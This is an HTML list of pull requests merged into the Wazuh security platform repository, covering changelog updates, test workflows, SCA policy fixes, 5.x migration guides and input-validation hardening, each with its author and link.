<li>Update changelog for 4.14.6 RC 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539470693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36562" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36562/hovercard" href="https://github.com/wazuh/wazuh/pull/36562">#36562</a></li>
<li>Fix policy evaluation errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528195977" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36449" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36449/hovercard" href="https://github.com/wazuh/wazuh/pull/36449">#36449</a></li>
<li>Release startup hash gate when the reload chain fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495215383" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36302" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36302/hovercard" href="https://github.com/wazuh/wazuh/pull/36302">#36302</a></li>
<li>Revert "Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541090106" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36591" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36591/hovercard" href="https://github.com/wazuh/wazuh/pull/36591">#36591</a></li>
<li>Merge merge-4.14.7-into-main into main [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546876084" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36624" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36624/hovercard" href="https://github.com/wazuh/wazuh/pull/36624">#36624</a></li>
<li>Restore event counter and classify received messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531260982" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36456" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36456/hovercard" href="https://github.com/wazuh/wazuh/pull/36456">#36456</a></li>
<li>Unify manager integration tests workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485169588" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36235" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36235/hovercard" href="https://github.com/wazuh/wazuh/pull/36235">#36235</a></li>
<li>Remove unused Node.js 12 from arm64 deb agent builder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467836275" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36156" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36156/hovercard" href="https://github.com/wazuh/wazuh/pull/36156">#36156</a></li>
<li>Remove unused Node.js 12 from arm deb agent builders (4.14.7) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467837119" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36157" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36157/hovercard" href="https://github.com/wazuh/wazuh/pull/36157">#36157</a></li>
<li>SCA typo bug in SELinux SCA rule for CentOS 8/9/10 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514754415" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36361/hovercard" href="https://github.com/wazuh/wazuh/pull/36361">#36361</a></li>
<li>Fix <code>detect-changes</code> glob to honour <code>**</code> recursively and extract logic into a reusable action by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544605284" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36617" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36617/hovercard" href="https://github.com/wazuh/wazuh/pull/36617">#36617</a></li>
<li>Merge merge-4.14.6-into-4.14.7 into 4.14.7 [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546868343" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36623" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36623/hovercard" href="https://github.com/wazuh/wazuh/pull/36623">#36623</a></li>
<li>Reduce log noise when engine has no synchronized ruleset by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505198128" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36356/hovercard" href="https://github.com/wazuh/wazuh/pull/36356">#36356</a></li>
<li>Update test modules paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549542116" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36668" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36668/hovercard" href="https://github.com/wazuh/wazuh/pull/36668">#36668</a></li>
<li>Only download external deps when required by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486894083" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36244" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36244/hovercard" href="https://github.com/wazuh/wazuh/pull/36244">#36244</a></li>
<li>Merge 4.14.7 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4548874786" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36664" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36664/hovercard" href="https://github.com/wazuh/wazuh/pull/36664">#36664</a></li>
<li>Mail forwarding and reporting 5.0 migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ripdiegozz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ripdiegozz">@Ripdiegozz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505228985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36357/hovercard" href="https://github.com/wazuh/wazuh/pull/36357">#36357</a></li>
<li>Added Ubuntu 26.04's SCA policy in the SPECS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562694437" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36712" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36712/hovercard" href="https://github.com/wazuh/wazuh/pull/36712">#36712</a></li>
<li>Preliminary support new OSs - Ubuntu 26.04 - Add SCA content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AwwalQuan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AwwalQuan">@AwwalQuan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561732273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36708" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36708/hovercard" href="https://github.com/wazuh/wazuh/pull/36708">#36708</a></li>
<li>Safeguards to inventory sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534767894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36469" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36469/hovercard" href="https://github.com/wazuh/wazuh/pull/36469">#36469</a></li>
<li>Improve the method of detecting duplicates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504512576" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36344" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36344/hovercard" href="https://github.com/wazuh/wazuh/pull/36344">#36344</a></li>
<li>Fix race condition preventing inventory synchronization after agent reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551769345" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36682" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36682/hovercard" href="https://github.com/wazuh/wazuh/pull/36682">#36682</a></li>
<li>Added API integration tests workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472493573" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36196" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36196/hovercard" href="https://github.com/wazuh/wazuh/pull/36196">#36196</a></li>
<li>Fix non-atomic write for <code>file_status.json</code> in logcollector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565514906" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36722" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36722/hovercard" href="https://github.com/wazuh/wazuh/pull/36722">#36722</a></li>
<li>Make agent-info shutdown waits interruptible by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564093587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36719" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36719/hovercard" href="https://github.com/wazuh/wazuh/pull/36719">#36719</a></li>
<li>Validate IP address in ip-customblock active response by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570134407" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36730" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36730/hovercard" href="https://github.com/wazuh/wazuh/pull/36730">#36730</a></li>
<li>wazuh-agent remains active after uninstall on Fedora 44 / DNF5 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568853035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36727" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36727/hovercard" href="https://github.com/wazuh/wazuh/pull/36727">#36727</a></li>
<li>Use per-target rpath and remove redundant LD_LIBRARY_PATH/WAZUH_ENGINE_GROUP exports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531005682" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36455" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36455/hovercard" href="https://github.com/wazuh/wazuh/pull/36455">#36455</a></li>
<li>Fix changelog chronological order and update bumper script by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569560130" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36729" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36729/hovercard" href="https://github.com/wazuh/wazuh/pull/36729">#36729</a></li>
<li>Monitoring a symlink without follow_symbolic_link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4444803761" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36081" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36081/hovercard" href="https://github.com/wazuh/wazuh/pull/36081">#36081</a></li>
<li>SCA policies migration guide from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550901765" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36671" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36671/hovercard" href="https://github.com/wazuh/wazuh/pull/36671">#36671</a></li>
<li>Fix 5x  wazuhdb integration tests  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562864780" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36713" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36713/hovercard" href="https://github.com/wazuh/wazuh/pull/36713">#36713</a></li>
<li>Downgrade transient manager-reported sync failures logs to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576461814" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36744" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36744/hovercard" href="https://github.com/wazuh/wazuh/pull/36744">#36744</a></li>
<li>Show sca timouts as Not Run by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488962491" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36258" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36258/hovercard" href="https://github.com/wazuh/wazuh/pull/36258">#36258</a></li>
<li>Authd workflow creation for 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522600046" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36404" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36404/hovercard" href="https://github.com/wazuh/wazuh/pull/36404">#36404</a></li>
<li>Adapt remoted tests to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541524155" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36609" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36609/hovercard" href="https://github.com/wazuh/wazuh/pull/36609">#36609</a></li>
<li>Update unclassified event criteria by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551542627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36681" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36681/hovercard" href="https://github.com/wazuh/wazuh/pull/36681">#36681</a></li>
<li>use safeloader in yaml file loader by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582767203" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36753" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36753/hovercard" href="https://github.com/wazuh/wazuh/pull/36753">#36753</a></li>
<li>Downgrade expected modulesd socket warnings/errors during agent restart to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583215822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36755" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36755/hovercard" href="https://github.com/wazuh/wazuh/pull/36755">#36755</a></li>
<li>Documentation: Ciscat and openscap migration to SCA by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4566095438" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36723" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36723/hovercard" href="https://github.com/wazuh/wazuh/pull/36723">#36723</a></li>
<li>Document the deprecation of OSquery in order to use IT Hygiene in version 5.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583642489" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36756/hovercard" href="https://github.com/wazuh/wazuh/pull/36756">#36756</a></li>
<li>Preserve wazuh-syscheckd Full Disk Access attribution on macOS reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583103632" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36754" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36754/hovercard" href="https://github.com/wazuh/wazuh/pull/36754">#36754</a></li>
<li>Normalize severity Msg  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588829137" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36759" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36759/hovercard" href="https://github.com/wazuh/wazuh/pull/36759">#36759</a></li>
<li>Agent Groups 5x Migration Guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568131074" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36726" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36726/hovercard" href="https://github.com/wazuh/wazuh/pull/36726">#36726</a></li>
<li>Add NULL validation for optional FlatBuffer fields in inventory_sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598119007" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36773" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36773/hovercard" href="https://github.com/wazuh/wazuh/pull/36773">#36773</a></li>
<li>Fix agent keepalive scheduling after system clock rollback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503704905" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36338" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36338/hovercard" href="https://github.com/wazuh/wazuh/pull/36338">#36338</a></li>
<li>Create integratord migration guide to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adman23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adman23">@Adman23</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580559348" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36750" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36750/hovercard" href="https://github.com/wazuh/wazuh/pull/36750">#36750</a></li>
<li>Syslog output (csyslogd) 5.0 migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gonzaarancibia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gonzaarancibia">@gonzaarancibia</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573759572" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36741" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36741/hovercard" href="https://github.com/wazuh/wazuh/pull/36741">#36741</a></li>
<li>Merge merge-4.14.7-into-main into main [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596517095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36767/hovercard" href="https://github.com/wazuh/wazuh/pull/36767">#36767</a></li>
<li>Migration documentation: syslog input alternative by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613452406" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36781" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36781/hovercard" href="https://github.com/wazuh/wazuh/pull/36781">#36781</a></li>
<li>Drop libcrypt dependency from Python dep by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614551071" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36782" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36782/hovercard" href="https://github.com/wazuh/wazuh/pull/36782">#36782</a></li>
<li>Change duplicated link to intented one by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619366060" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36794" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36794/hovercard" href="https://github.com/wazuh/wazuh/pull/36794">#36794</a></li>
<li>Add centralized input validation for active response framework by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578234540" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36745" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36745/hovercard" href="https://github.com/wazuh/wazuh/pull/36745">#36745</a></li>
